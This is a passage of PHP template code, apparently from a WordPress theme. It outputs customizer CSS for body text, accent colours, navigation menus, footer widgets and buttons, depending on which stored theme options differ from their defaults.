		// use different selector for the styles applied directly to body tag while in Visual Builder. Otherwise unwanted styles applied to the Builder interface.
		$body_selector         = empty( $_GET['et_fb'] ) ? 'body' : 'body .et-fb-post-content';
		$body_selector_sibling = empty( $_GET['et_fb'] ) ? '' : 'body .et-fb-root-ancestor-sibling, ';

		/* ====================================================
		 * --------->>> BEGIN THEME CUSTOMIZER CSS <<<---------
		 * ==================================================== */
		ob_start();
	?>
			<?php echo esc_html( $body_selector_sibling ); ?>
			<?php echo esc_html( $body_selector ); ?>,
			<?php echo $css( '.et_pb_column_1_2 .et_quote_content blockquote cite', false ); ?>,
			<?php echo $css( '.et_pb_column_1_2 .et_link_content a.et_link_main_url', false ); ?>,
			<?php echo $css( '.et_pb_column_1_3 .et_quote_content blockquote cite', false ); ?>,
			<?php echo $css( '.et_pb_column_3_8 .et_quote_content blockquote cite', false ); ?>,
			<?php echo $css( '.et_pb_column_1_4 .et_quote_content blockquote cite', false ); ?>,
			<?php echo $css( '.et_pb_blog_grid .et_quote_content blockquote cite', false ); ?>,
			<?php echo $css( '.et_pb_column_1_3 .et_link_content a.et_link_main_url', false ); ?>,
			<?php echo $css( '.et_pb_column_3_8 .et_link_content a.et_link_main_url', false ); ?>,
			<?php echo $css( '.et_pb_column_1_4 .et_link_content a.et_link_main_url', false ); ?>,
			<?php echo $css( '.et_pb_blog_grid .et_link_content a.et_link_main_url', false ); ?>,
			<?php echo $css( 'body', '.et_pb_bg_layout_light .et_pb_post p', false ); ?>,
			<?php echo $css( 'body', '.et_pb_bg_layout_dark .et_pb_post p', false ); ?> {
				font-size: <?php echo esc_html( $body_font_size ); ?>px;
			}
			<?php echo $css( '.et_pb_slide_content', false ); ?>,
			<?php echo $css( '.et_pb_best_value', false ); ?> {
				font-size: <?php echo esc_html( intval( $body_font_size * 1.14 ) ); ?>px;
			}
		<?php if ( '#666666' !== $body_font_color) { ?>
			<?php echo esc_html( $body_selector_sibling ); ?>
			<?php echo esc_html( $body_selector ); ?> {
				color: <?php echo esc_html( $body_font_color ); ?>;
			}
		<?php } ?>
		<?php if ( '#666666' !== $body_header_color ) { ?>
			<?php echo $css( 'h1' ); ?>,
			<?php echo $css( 'h2' ); ?>,
			<?php echo $css( 'h3' ); ?>,
			<?php echo $css( 'h4' ); ?>,
			<?php echo $css( 'h5' ); ?>,
			<?php echo $css( 'h6' ); ?> {
				color: <?php echo esc_html( $body_header_color ); ?>;
			}
		<?php } ?>
		<?php if ( 1.7 !== $body_font_height ) { ?>
			<?php echo esc_html( $body_selector_sibling ); ?>
			<?php echo esc_html( $body_selector ); ?> {
				line-height: <?php echo esc_html( $body_font_height ); ?>em;
			}
		<?php } ?>
		<?php if ( 500 !== $body_font_weight ) { ?>
			<?php // phpcs:disable WordPress.Security.EscapeOutput.OutputNotEscaped -- Following the existing standards ?>
			<?php echo esc_html( $body_selector_sibling ); ?>
			<?php echo esc_html( $body_selector ); ?>,
			<?php echo $css( '.et_pb_column_1_2 .et_quote_content blockquote cite', false ); ?>,
			<?php echo $css( '.et_pb_column_1_2 .et_link_content a.et_link_main_url', false ); ?>,
			<?php echo $css( '.et_pb_column_1_3 .et_quote_content blockquote cite', false ); ?>,
			<?php echo $css( '.et_pb_column_3_8 .et_quote_content blockquote cite', false ); ?>,
			<?php echo $css( '.et_pb_column_1_4 .et_quote_content blockquote cite', false ); ?>,
			<?php echo $css( '.et_pb_blog_grid .et_quote_content blockquote cite', false ); ?>,
			<?php echo $css( '.et_pb_column_1_3 .et_link_content a.et_link_main_url', false ); ?>,
			<?php echo $css( '.et_pb_column_3_8 .et_link_content a.et_link_main_url', false ); ?>,
			<?php echo $css( '.et_pb_column_1_4 .et_link_content a.et_link_main_url', false ); ?>,
			<?php echo $css( '.et_pb_blog_grid .et_link_content a.et_link_main_url', false ); ?>,
			<?php echo $css( 'body', '.et_pb_bg_layout_light .et_pb_post p', false ); ?>,
			<?php echo $css( 'body', '.et_pb_bg_layout_dark .et_pb_post p', false ); ?> {
				font-weight: <?php echo esc_html( $body_font_weight ); ?>;
			}
			<?php echo $css( '.et_pb_slide_content', false ); ?>,
			<?php echo $css( '.et_pb_best_value', false ); ?> {
				font-weight: <?php echo esc_html( $body_font_weight ); ?>;
			}
			<?php // phpcs:enable WordPress.Security.EscapeOutput.OutputNotEscaped -- Following the existing standards ?>
		<?php } ?>
		<?php if ( $accent_color !== '#2ea3f2' ) { ?>
			<?php if ( et_is_woocommerce_plugin_active() ) { ?>
				.woocommerce #respond input#submit,
				.woocommerce-page #respond input#submit,
				.woocommerce #content input.button,
				.woocommerce-page #content input.button,
				.woocommerce-message,
				.woocommerce-error,
				.woocommerce-info {
					background: <?php echo esc_html( $accent_color ); ?> !important;
				}
			<?php } ?>
			#et_search_icon:hover,
			.mobile_menu_bar:before,
			.mobile_menu_bar:after,
			.et_toggle_slide_menu:after,
			.et-social-icon a:hover,
			<?php echo $css( '.et_pb_sum' ); ?>,
			<?php echo $css( '.et_pb_pricing li a', false ); ?>,
			<?php echo $css( '.et_pb_pricing_table_button', false ); ?>,
			<?php echo $css( '.et_overlay:before' ); ?>,
			<?php echo $css( '.entry-summary p.price ins' ); ?>,
			<?php if ( et_is_woocommerce_plugin_active() ) { ?>
				.woocommerce div.product span.price,
				.woocommerce-page div.product span.price,
				.woocommerce #content div.product span.price,
				.woocommerce-page #content div.product span.price,
				.woocommerce div.product p.price,
				.woocommerce-page div.product p.price,
				.woocommerce #content div.product p.price,
				.woocommerce-page #content div.product p.price,
			<?php } ?>
			<?php echo $css( '.et_pb_member_social_links a:hover', false ); ?>,
			<?php if ( et_is_woocommerce_plugin_active() ) { ?>
				.woocommerce .star-rating span:before,
				.woocommerce-page .star-rating span:before,
			<?php } ?>
			<?php echo $css( '.et_pb_widget li a:hover' ); ?>,
			<?php echo $css( '.et_pb_filterable_portfolio .et_pb_portfolio_filters li a.active', false ); ?>,
			<?php echo $css( '.et_pb_filterable_portfolio .et_pb_portofolio_pagination ul li a.active', false ); ?>,
			<?php echo $css( '.et_pb_gallery .et_pb_gallery_pagination ul li a.active', false ); ?>,
			.wp-pagenavi span.current,
			.wp-pagenavi a:hover,
			<?php echo $css( '.nav-single a' ); ?>,
			<?php echo $css( '.tagged_as a' ); ?>,
			<?php echo $css( '.posted_in a' ); ?> {
				color: <?php echo esc_html( $accent_color ); ?>;
			}
			<?php echo $css( '.et_pb_contact_submit', false ); ?>,
			<?php echo $css( '.et_password_protected_form .et_submit_button', false ); ?>,
			<?php echo $css( '.et_pb_bg_layout_light .et_pb_newsletter_button', false ); ?>,
			<?php echo $css( '.comment-reply-link', false ); ?>,
			<?php echo $css( '.form-submit .et_pb_button', false ); ?>,
			<?php echo $css( '.et_pb_bg_layout_light .et_pb_promo_button', false ); ?>,
			<?php echo $css( '.et_pb_bg_layout_light .et_pb_more_button', false ); ?>,
			<?php if ( et_is_woocommerce_plugin_active() ) { ?>
				<?php echo $css( '.woocommerce', 'a.button.alt' ); ?>,
				<?php echo $css( '.woocommerce-page', 'a.button.alt' ); ?>,
				<?php echo $css( '.woocommerce', 'button.button.alt' ); ?>,
				<?php echo $css( '.woocommerce', 'button.button.alt.disabled' ); ?>,
				<?php echo $css( '.woocommerce-page', 'button.button.alt' ); ?>,
				<?php echo $css( '.woocommerce-page', 'button.button.alt.disabled' ); ?>,
				<?php echo $css( '.woocommerce', 'input.button.alt' ); ?>,
				<?php echo $css( '.woocommerce-page', 'input.button.alt' ); ?>,
				.woocommerce #respond input#submit.alt,
				.woocommerce-page #respond input#submit.alt,
				<?php echo $css( '.woocommerce #content', 'input.button.alt' ); ?>,
				<?php echo $css( '.woocommerce-page #content', 'input.button.alt' ); ?>,
				<?php echo $css( '.woocommerce', 'a.button' ); ?>,
				<?php echo $css( '.woocommerce-page', 'a.button' ); ?>,
				<?php echo $css( '.woocommerce', 'button.button' ); ?>,
				<?php echo $css( '.woocommerce-page', 'button.button' ); ?>,
				<?php echo $css( '.woocommerce', 'input.button' ); ?>,
				<?php echo $css( '.woocommerce-page', 'input.button' ); ?>,
			<?php } ?>
			<?php echo $css( '.et_pb_contact p input[type="checkbox"]:checked + label i:before', false ); ?>,
			<?php echo $css( '.et_pb_bg_layout_light.et_pb_module.et_pb_button', false ); ?> {
				color: <?php echo esc_html( $accent_color ); ?>;
			}
			<?php echo $css( '.footer-widget h4' ); ?> {
				color: <?php echo esc_html( $accent_color ); ?>;
			}
			<?php echo $css( '.et-search-form' ); ?>,
			<?php echo $css( '.nav li ul' ); ?>,
			<?php echo $css( '.et_mobile_menu' ); ?>,
			<?php echo $css( '.footer-widget li:before' ); ?>,
			<?php echo $css( '.et_pb_pricing li:before', false ); ?>,
			<?php echo $css( 'blockquote' ); ?> {
				border-color: <?php echo esc_html( $accent_color ); ?>;
			}
			<?php echo $css( '.et_pb_counter_amount', false ); ?>,
			<?php echo $css( '.et_pb_featured_table .et_pb_pricing_heading', false ); ?>,
			<?php echo $css( '.et_quote_content' ); ?>,
			<?php echo $css( '.et_link_content' ); ?>,
			<?php echo $css( '.et_audio_content' ); ?>,
			<?php echo $css( '.et_pb_post_slider.et_pb_bg_layout_dark', false ); ?>,
			<?php echo $css( '.et_slide_in_menu_container' ); ?>,
			<?php echo $css( '.et_pb_contact p input[type="radio"]:checked + label i:before', false ); ?> {
				background-color: <?php echo esc_html( $accent_color ); ?>;
			}
		<?php } ?>
		<?php if ( 1080 !== $content_width ) { ?>
			<?php echo $css( '.container' ); ?>,
			<?php echo $css( '.et_pb_row', false ); ?>,
			<?php echo $css( '.et_pb_slider .et_pb_container', false ); ?>,
			<?php echo $css( '.et_pb_fullwidth_section .et_pb_title_container', false ); ?>,
			<?php echo $css( '.et_pb_fullwidth_section .et_pb_title_featured_container', false ); ?>,
			<?php echo $css( '.et_pb_fullwidth_header:not(.et_pb_fullscreen) .et_pb_fullwidth_header_container', false ); ?> {
				max-width: <?php echo esc_html( $content_width ); ?>px;
			}
			.et_boxed_layout #page-container,
			.et_boxed_layout.et_non_fixed_nav.et_transparent_nav #page-container #top-header,
			.et_boxed_layout.et_non_fixed_nav.et_transparent_nav #page-container #main-header,
			.et_fixed_nav.et_boxed_layout #page-container #top-header,
			.et_fixed_nav.et_boxed_layout #page-container #main-header,
			.et_boxed_layout #page-container .container,
			<?php echo $css( '.et_boxed_layout', '#page-container .et_pb_row', false ); ?> {
				max-width: <?php echo esc_html( intval( et_get_option( 'content_width', '1080' ) ) + 160 ); ?>px;
			}
		<?php } ?>
		<?php if ( $link_color !== '#2ea3f2' ) { ?>
			<?php echo $css( 'a' ); ?> { color: <?php echo esc_html( $link_color ); ?>; }
		<?php } ?>
		<?php if ( $primary_nav_bg !== '#ffffff' ) { ?>
			#main-header,
			#main-header .nav li ul,
			.et-search-form,
			#main-header .et_mobile_menu { background-color: <?php echo esc_html( $primary_nav_bg ); ?>; }
		<?php } ?>
		<?php if ( $primary_nav_dropdown_bg !== $primary_nav_bg ) { ?>
			#main-header .nav li ul { background-color: <?php echo esc_html( $primary_nav_dropdown_bg ); ?>; }
		<?php } ?>
		<?php if ( $primary_nav_dropdown_line_color !== $accent_color ) { ?>
			<?php echo $css( '.nav li ul' ); ?> { border-color: <?php echo esc_html( $primary_nav_dropdown_line_color ); ?>; }
		<?php } ?>
		<?php if ( '#2ea3f2' === $secondary_nav_bg && '#2ea3f2' !== $accent_color ) { ?>
			#page-container #top-header { background-color: <?php echo esc_html( $accent_color ) . ' !important'; ?>; }
			#et-secondary-nav li ul { background-color: <?php echo esc_html( $accent_color ); ?>; }
		<?php } ?>
		<?php if ( '#2ea3f2' !== $secondary_nav_bg ) { ?>
			.et_secondary_nav_enabled #page-container #top-header { background-color: <?php echo esc_html( $secondary_nav_bg ) . ' !important'; ?>; }
			#et-secondary-nav li ul { background-color: <?php echo esc_html( $secondary_nav_bg ); ?>; }
		<?php } ?>
		<?php if ( $secondary_nav_dropdown_bg !== $secondary_nav_bg ) { ?>
			#et-secondary-nav li ul { background-color: <?php echo esc_html( $secondary_nav_dropdown_bg ); ?>; }
		<?php } ?>
		<?php if ( $secondary_nav_text_color_new !== '#ffffff' ) { ?>
			#top-header,
			#top-header a { color: <?php echo esc_html( $secondary_nav_text_color_new ); ?>; }
		<?php } ?>
		<?php if ( $secondary_nav_dropdown_link_color !== $secondary_nav_text_color_new ) { ?>
			#et-secondary-nav li ul a { color: <?php echo esc_html( $secondary_nav_dropdown_link_color ); ?>; }
		<?php } ?>
		<?php if ( $menu_link !== 'rgba(0,0,0,0.6)' ) { ?>
			.et_header_style_centered .mobile_nav .select_page,
			.et_header_style_split .mobile_nav .select_page,
			.et_nav_text_color_light #top-menu > li > a,
			.et_nav_text_color_dark #top-menu > li > a,
			#top-menu a,
			<?php echo $css( '.et_mobile_menu li a' ); ?>,
			<?php echo $css( '.et_nav_text_color_light .et_mobile_menu li a' ); ?>,
			<?php echo $css( '.et_nav_text_color_dark .et_mobile_menu li a' ); ?>,
			#et_search_icon:before,
			.et_search_form_container input,
			span.et_close_search_field:after,
			#et-top-navigation .et-cart-info { color: <?php echo esc_html( $menu_link ); ?>; }
			.et_search_form_container input::-moz-placeholder { color: <?php echo esc_html( $menu_link ); ?>; }
			.et_search_form_container input::-webkit-input-placeholder { color: <?php echo esc_html( $menu_link ); ?>; }
			.et_search_form_container input:-ms-input-placeholder { color: <?php echo esc_html( $menu_link ); ?>; }
		<?php } ?>
		<?php if ( $primary_nav_dropdown_link_color !== $menu_link ) { ?>
			#main-header .nav li ul a { color: <?php echo esc_html( $primary_nav_dropdown_link_color ); ?>; }
		<?php } ?>
		<?php if ( 12 !== $secondary_nav_font_size || '' !== $secondary_nav_font_style || 0 !== $secondary_nav_font_spacing ) { ?>
			#top-header,
			#top-header a,
			#et-secondary-nav li li a,
			#top-header .et-social-icon a:before {
				<?php if ( 12 !== $secondary_nav_font_size ) { ?>
					font-size: <?php echo esc_html( $secondary_nav_font_size ); ?>px;
				<?php } ?>
				<?php if ( '' !== $secondary_nav_font_style ) { ?>
					<?php echo esc_html( et_pb_print_font_style( $secondary_nav_font_style ) ); ?>
				<?php } ?>
				<?php if ( 0 !== $secondary_nav_font_spacing ) { ?>
					letter-spacing: <?php echo esc_html( $secondary_nav_font_spacing ); ?>px;
				<?php } ?>
			}
		<?php } ?>
		<?php if ( $primary_nav_font_size !== $default_primary_nav_font_size ) { ?>
			#top-menu li a { font-size: <?php echo esc_html( $primary_nav_font_size ); ?>px; }
			body.et_vertical_nav .container.et_search_form_container .et-search-form input { font-size: <?php echo esc_html( $primary_nav_font_size ); ?>px !important; }
		<?php } ?>

		<?php if ( 0 !== $primary_nav_font_spacing || '' !== $primary_nav_font_style ) { ?>
			#top-menu li a,
			.et_search_form_container input {
				<?php if ( '' !== $primary_nav_font_style ) { ?>
					<?php echo esc_html( et_pb_print_font_style( $primary_nav_font_style ) ); ?>
				<?php } ?>
				<?php if ( 0 !== $primary_nav_font_spacing ) { ?>
					letter-spacing: <?php echo esc_html( $primary_nav_font_spacing ); ?>px;
				<?php } ?>
			}
			.et_search_form_container input::-moz-placeholder {
				<?php if ( '' !== $primary_nav_font_style ) { ?>
					<?php echo esc_html( et_pb_print_font_style( $primary_nav_font_style ) ); ?>
				<?php } ?>
				<?php if ( 0 !== $primary_nav_font_spacing ) { ?>
					letter-spacing: <?php echo esc_html( $primary_nav_font_spacing ); ?>px;
				<?php } ?>
			}
			.et_search_form_container input::-webkit-input-placeholder {
				<?php if ( '' !== $primary_nav_font_style ) { ?>
					<?php echo esc_html( et_pb_print_font_style( $primary_nav_font_style ) ); ?>
				<?php } ?>
				<?php if ( 0 !== $primary_nav_font_spacing ) { ?>
					letter-spacing: <?php echo esc_html( $primary_nav_font_spacing ); ?>px;
				<?php } ?>
			}
			.et_search_form_container input:-ms-input-placeholder {
				<?php if ( '' !== $primary_nav_font_style ) { ?>
					<?php echo esc_html( et_pb_print_font_style( $primary_nav_font_style ) ); ?>
				<?php } ?>
				<?php if ( 0 !== $primary_nav_font_spacing ) { ?>
					letter-spacing: <?php echo esc_html( $primary_nav_font_spacing ); ?>px;
				<?php } ?>
			}
		<?php } ?>

		<?php if ( $menu_link_active !== '#2ea3f2' ) { ?>
			<?php if ( $color_scheme !== 'none' ) { ?>
				.et_color_scheme_red #top-menu li.current-menu-ancestor > a,
				.et_color_scheme_red #top-menu li.current-menu-item > a,
				.et_color_scheme_red #top-menu li.current_page_item > a,
				.et_color_scheme_pink #top-menu li.current-menu-ancestor > a,
				.et_color_scheme_pink #top-menu li.current-menu-item > a,
				.et_color_scheme_pink #top-menu li.current_page_item> a,
				.et_color_scheme_orange #top-menu li.current-menu-ancestor > a,
				.et_color_scheme_orange #top-menu li.current-menu-item > a,
				.et_color_scheme_orange #top-menu li.current_page_item > a,
				.et_color_scheme_green #top-menu li.current-menu-ancestor > a,
				.et_color_scheme_green #top-menu li.current-menu-item > a,
				.et_color_scheme_green #top-menu li.current_page_item > a,
			<?php } ?>
			#top-menu li.current-menu-ancestor > a,
			#top-menu li.current-menu-item > a,
			#top-menu li.current_page_item > a { color: <?php echo esc_html( $menu_link_active ); ?>; }
		<?php } ?>
		<?php if ( $footer_bg !== '#222222' ) { ?>
			#main-footer { background-color: <?php echo esc_html( $footer_bg ); ?>; }
		<?php } ?>
		<?php if ( $footer_widget_link_color !== '#fff' && $footer_widget_link_color !== '#ffffff' ) { ?>
			#footer-widgets .footer-widget a,
			#footer-widgets .footer-widget li a,
			#footer-widgets .footer-widget li a:hover { color: <?php echo esc_html( $footer_widget_link_color ); ?>; }
		<?php } ?>
		<?php if ( $footer_widget_text_color !== '#fff' && $footer_widget_text_color !== '#ffffff' ) { ?>
			.footer-widget { color: <?php echo esc_html( $footer_widget_text_color ); ?>; }
		<?php } ?>
		<?php if ( $footer_widget_header_color !== '#2ea3f2' ) { ?>
			#main-footer .footer-widget h4,
			#main-footer .widget_block h1,
			#main-footer .widget_block h2,
			#main-footer .widget_block h3,
			#main-footer .widget_block h4,
			#main-footer .widget_block h5,
			#main-footer .widget_block h6 { color: <?php echo esc_html( $footer_widget_header_color ); ?>; }
		<?php } ?>
		<?php if ( $footer_widget_bullet_color !== '#2ea3f2' ) { ?>
			.footer-widget li:before { border-color: <?php echo esc_html( $footer_widget_bullet_color ); ?>; }
		<?php } ?>
		<?php if ( $body_font_size !== $widget_body_font_size ) { ?>
			.footer-widget,
			.footer-widget li,
			.footer-widget li a,
			#footer-info { font-size: <?php echo esc_html( $widget_body_font_size ); ?>px; }
		<?php } ?>
		<?php
			/* Widget */
			et_pb_print_styles_css( array(
				array(
					'key'      => 'widget_header_font_style',
					'type'     => 'font-style',
					'default'  => '',
					'selector' => '#main-footer .footer-widget h4, #main-footer .widget_block h1, #main-footer .widget_block h2, #main-footer .widget_block h3, #main-footer .widget_block h4, #main-footer .widget_block h5, #main-footer .widget_block h6',
				),
				array(
					'key'      => 'widget_body_font_style',
					'type'     => 'font-style',
					'default'  => '',
					'selector' => '.footer-widget .et_pb_widget div, .footer-widget .et_pb_widget ul, .footer-widget .et_pb_widget ol, .footer-widget .et_pb_widget label',
				),
				array(
					'key'      => 'widget_body_line_height',
					'type'     => 'line-height',
					'default'  => '',
					'selector' => '.footer-widget .et_pb_widget div, .footer-widget .et_pb_widget ul, .footer-widget .et_pb_widget ol, .footer-widget .et_pb_widget label',
				),
			) );

			/* Footer widget bullet fix */
			if ( 1.7 !==  $widget_body_line_height || 14 !== $widget_body_font_size ) {
				// line_height (em) * font_size (px) = line height in px
				$widget_body_line_height_px 		= floatval( $widget_body_line_height ) * intval( $widget_body_font_size );

				// ( line height in px / 2 ) - half of bullet diameter
				$footer_widget_bullet_top 			= ( $widget_body_line_height_px / 2 ) - 3;

				printf( "#footer-widgets .footer-widget li:before { top: %spx; }", esc_html( $footer_widget_bullet_top ) );
			}

			/* Footer Menu */
			et_pb_print_styles_css( array(
				array(
					'key' 		=> 'footer_menu_background_color',
					'type' 		=> 'background-color',
					'default' 	=> 'rgba(255,255,255,0.05)',
					'selector' 	=> '#et-footer-nav'
				),
				array(
					'key' 		=> 'footer_menu_text_color',
					'type' 		=> 'color',
					'default' 	=> '#bbbbbb',
					'selector' 	=> '.bottom-nav, .bottom-nav a, .bottom-nav li.current-menu-item a'
				),
				array(
					'key' 		=> 'footer_menu_active_link_color',
					'type' 		=> 'color',
					'default' 	=> '#bbbbbb',
					'selector' 	=> '#et-footer-nav .bottom-nav li.current-menu-item a'
				),
				array(
					'key' 		=> 'footer_menu_letter_spacing',
					'type' 		=> 'letter-spacing',
					'default' 	=> 0,
					'selector' 	=> '.bottom-nav'
				),
				array(
					'key' 		=> 'footer_menu_font_style',
					'type' 		=> 'font-style',
					'default' 	=> '',
					'selector' 	=> '.bottom-nav a'
				),
				array(
					'key' 		=> 'footer_menu_font_size',
					'type' 		=> 'font-size',
					'default' 	=> 14,
					'selector' 	=> '.bottom-nav, .bottom-nav a'
				),
			) );

			/* Bottom Bar */
			et_pb_print_styles_css( array(
				array(
					'key' 		=> 'bottom_bar_background_color',
					'type' 		=> 'background-color',
					'default' 	=> 'rgba(0,0,0,0.32)',
					'selector' 	=> '#footer-bottom'
				),
				array(
					'key' 		=> 'bottom_bar_text_color',
					'type' 		=> 'color',
					'default' 	=> '#666666',
					'selector' 	=> '#footer-info, #footer-info a'
				),
				array(
					'key' 		=> 'bottom_bar_font_style',
					'type' 		=> 'font-style',
					'default' 	=> '',
					'selector' 	=> '#footer-info, #footer-info a'
				),
				array(
					'key' 		=> 'bottom_bar_font_size',
					'type' 		=> 'font-size',
					'default' 	=> 14,
					'selector' 	=> '#footer-info'
				),
				array(
					'key' 		=> 'bottom_bar_social_icon_size',
					'type' 		=> 'font-size',
					'default' 	=> 24,
					'selector' 	=> '#footer-bottom .et-social-icon a'
				),
				array(
					'key' 		=> 'bottom_bar_social_icon_color',
					'type' 		=> 'color',
					'default' 	=> '#666666',
					'selector' 	=> '#footer-bottom .et-social-icon a'
				),
			) );
		?>
		<?php if ( 'rgba' === substr( $primary_nav_bg, 0, 4 ) ) { ?>
			#main-header { box-shadow: none; }
		<?php } ?>
		<?php if ( 'rgba' === substr( $fixed_primary_nav_bg, 0, 4 ) || ( 'rgba' === substr( $primary_nav_bg, 0, 4 ) && '#ffffff' === $fixed_primary_nav_bg ) ) { ?>
			.et-fixed-header#main-header { box-shadow: none !important; }
		<?php } ?>
		<?php if ( 20 !== $button_text_size || ! empty( $button_text_color ) || 'rgba(0,0,0,0)' !== $button_bg_color || 2 !== $button_border_width || '#ffffff' !== $button_border_color || 3 !== $button_border_radius || '' !== $button_text_style || 0 !== $button_spacing ) { ?>
			<?php if ( et_is_woocommerce_plugin_active() ) { ?>
				<?php echo $css( '.woocommerce', 'a.button.alt' ); ?>,
				<?php echo $css( '.woocommerce-page', 'a.button.alt' ); ?>,
				<?php echo $css( '.woocommerce', 'button.button.alt' ); ?>,
				<?php echo $css( '.woocommerce', 'button.button.alt.disabled' ); ?>,
				<?php echo $css( '.woocommerce-page', 'button.button.alt' ); ?>,
				<?php echo $css( '.woocommerce-page', 'button.button.alt.disabled' ); ?>,
				<?php echo $css( '.woocommerce', 'input.button.alt' ); ?>,
				<?php echo $css( '.woocommerce-page', 'input.button.alt' ); ?>,
				.woocommerce #respond input#submit.alt,
				.woocommerce-page #respond input#submit.alt,
				<?php echo $css( '.woocommerce #content', 'input.button.alt' ); ?>,
				<?php echo $css( '.woocommerce-page #content', 'input.button.alt' ); ?>,
				<?php echo $css( '.woocommerce', 'a.button' ); ?>,
				<?php echo $css( '.woocommerce-page', 'a.button' ); ?>,
				<?php echo $css( '.woocommerce', 'button.button' ); ?>,
				<?php echo $css( '.woocommerce-page', 'button.button' ); ?>,
				<?php echo $css( '.woocommerce', 'input.button' ); ?>,
				<?php echo $css( '.woocommerce-page', 'input.button' ); ?>,
				.woocommerce #respond input#submit,
				.woocommerce-page #respond input#submit,
				<?php echo $css( '.woocommerce #content', 'input.button' ); ?>,
				<?php echo $css( '.woocommerce-page #content', 'input.button' ); ?>,
				.woocommerce-message a.button.wc-forward,
			<?php } ?>
			<?php echo $css( 'body', '.et_pb_button' ); ?> {
				<?php if ( 20 !== $button_text_size ) { ?>
					 font-size: <?php echo esc_html( $button_text_size ); ?>px;
				<?php } ?>
				<?php if ( 'rgba(0,0,0,0)' !== $button_bg_color ) { ?>
					background-color: <?php echo esc_html( $button_bg_color ); ?>;
				<?php } ?>
				<?php if ( 2 !== $button_border_width ) { ?>
					border-width: <?php echo esc_html( $button_border_width ); ?>px !important;
				<?php } ?>
				<?php if ( '#ffffff' !== $button_border_color ) { ?>
					border-color: <?php echo esc_html( $button_border_color ); ?>;
				<?php } ?>
				<?php if ( 3 !== $button_border_radius ) { ?>
					border-radius: <?php echo esc_html( $button_border_radius ); ?>px;
				<?php } ?>
				<?php if ( '' !== $button_text_style ) { ?>
					<?php echo esc_html( et_pb_print_font_style( $button_text_style ) ); ?>;
				<?php } ?>
				<?php if ( 0 !== $button_spacing ) { ?>
					letter-spacing: <?php echo esc_html( $button_spacing ); ?>px;
				<?php } ?>
			}
			<?php if ( et_is_woocommerce_plugin_active() ) { ?>
				<?php echo $css( '.woocommerce.et_pb_button_helper_class', 'a.button.alt' ); ?>,
				<?php echo $css( '.woocommerce-page.et_pb_button_helper_class', 'a.button.alt' ); ?>,
				<?php echo $css( '.woocommerce.et_pb_button_helper_class', 'button.button.alt' ); ?>,
				<?php echo $css( '.woocommerce.et_pb_button_helper_class', 'button.button.alt.disabled' ); ?>,
				<?php echo $css( '.woocommerce-page.et_pb_button_helper_class', 'button.button.alt' ); ?>,
				<?php echo $css( '.woocommerce-page.et_pb_button_helper_class', 'button.button.alt.disabled' ); ?>,
				<?php echo $css( '.woocommerce.et_pb_button_helper_class', 'input.button.alt' ); ?>,
				<?php echo $css( '.woocommerce-page.et_pb_button_helper_class', 'input.button.alt' ); ?>,
				.woocommerce.et_pb_button_helper_class #respond input#submit.alt,
				.woocommerce-page.et_pb_button_helper_class #respond input#submit.alt,
				<?php echo $css( '.woocommerce.et_pb_button_helper_class #content', 'input.button.alt' ); ?>,
				<?php echo $css( '.woocommerce-page.et_pb_button_helper_class #content', 'input.button.alt' ); ?>,
				<?php echo $css( '.woocommerce.et_pb_button_helper_class', 'a.button' ); ?>,
				<?php echo $css( '.woocommerce-page.et_pb_button_helper_class', 'a.button' ); ?>,
				<?php echo $css( '.woocommerce.et_pb_button_helper_class', 'button.button' ); ?>,
				<?php echo $css( '.woocommerce-page.et_pb_button_helper_class', 'button.button' ); ?>,
				<?php echo $css( '.woocommerce.et_pb_button_helper_class', 'input.button' ); ?>,
				<?php echo $css( '.woocommerce-page.et_pb_button_helper_class', 'input.button' ); ?>,
				.woocommerce.et_pb_button_helper_class #respond input#submit,
				.woocommerce-page.et_pb_button_helper_class #respond input#submit,
				<?php echo $css( '.woocommerce.et_pb_button_helper_class #content', 'input.button' ); ?>,
				<?php echo $css( '.woocommerce-page.et_pb_button_helper_class #content', 'input.button' ); ?>,
			<?php } ?>
			<?php echo $css( 'body.et_pb_button_helper_class', '.et_pb_button' ); ?>,
			<?php echo $css( 'body.et_pb_button_helper_class', '.et_pb_module.et_pb_button' ); ?> {
				<?php if ( ! empty( $button_text_color ) ) { ?>
					color: <?php echo esc_html( $button_text_color ); ?>;
				<?php } ?>
			}
		<?php } ?>
		<?php if ( '5' !== $button_icon || '#ffffff' !== $button_icon_color || 20 !== $button_text_size ) { ?>
			<?php if ( et_is_woocommerce_plugin_active() ) { ?>
				<?php echo $css( '.woocommerce', 'a.button.alt:after' ); ?>,
				<?php echo $css( '.woocommerce-page', 'a.button.alt:after' ); ?>,
				<?php echo $css( '.woocommerce', 'button.button.alt:after' ); ?>,
				<?php echo $css( '.woocommerce-page', 'button.button.alt:after' ); ?>,
				<?php echo $css( '.woocommerce', 'input.button.alt:after' ); ?>,
				<?php echo $css( '.woocommerce-page', 'input.button.alt:after' ); ?>,
				.woocommerce #respond input#submit.alt:after,
				.woocommerce-page #respond input#submit.alt:after,
				<?php echo $css( '.woocommerce #content', 'input.button.alt:after' ); ?>,
				<?php echo $css( '.woocommerce-page #content', 'input.button.alt:after' ); ?>,
				<?php echo $css( '.woocommerce', 'a.button:after' ); ?>,
				<?php echo $css( '.woocommerce-page', 'a.button:after' ); ?>,
				<?php echo $css( '.woocommerce', 'button.button:after' ); ?>,
				<?php echo $css( '.woocommerce-page', 'button.button:after' ); ?>,
				<?php echo $css( '.woocommerce', 'input.button:after' ); ?>,
				<?php echo $css( '.woocommerce-page', 'input.button:after' ); ?>,
				.woocommerce #respond input#submit:after,
				.woocommerce-page #respond input#submit:after,
				<?php echo $css( '.woocommerce #content', 'input.button:after' ); ?>,
				<?php echo $css( '.woocommerce-page #content', 'input.button:after' ); ?>,
			<?php } ?>
			<?php echo $css( 'body', '.et_pb_button:after' ); ?> {
				<?php if ( '5' !== $button_icon ) { ?>
					<?php if ( "'" === $button_icon ) { ?>
						content: "<?php echo htmlspecialchars_decode( $button_icon ); ?>";
					<?php } else { ?>
						content: '<?php echo htmlspecialchars_decode( $button_icon ); ?>';
					<?php } ?>
					font-size: <?php echo esc_html( $button_text_size ); ?>px;
				<?php } else { ?>
					font-size: <?php echo esc_html( $button_icon_size ); ?>px;
				<?php } ?>
				<?php if ( '#ffffff' !== $button_icon_color ) { ?>
					color: <?php echo esc_html( $button_icon_color ); ?>;
				<?php } ?>
			}
		<?php } ?>
		<?php if ( ! empty( $button_text_color_hover ) || 'rgba(255,255,255,0.2)' !== $button_bg_color_hover || 'rgba(0,0,0,0)' !== $button_border_color_hover || 3 !== $button_border_radius_hover || 0 !== $button_spacing_hover ) { ?>
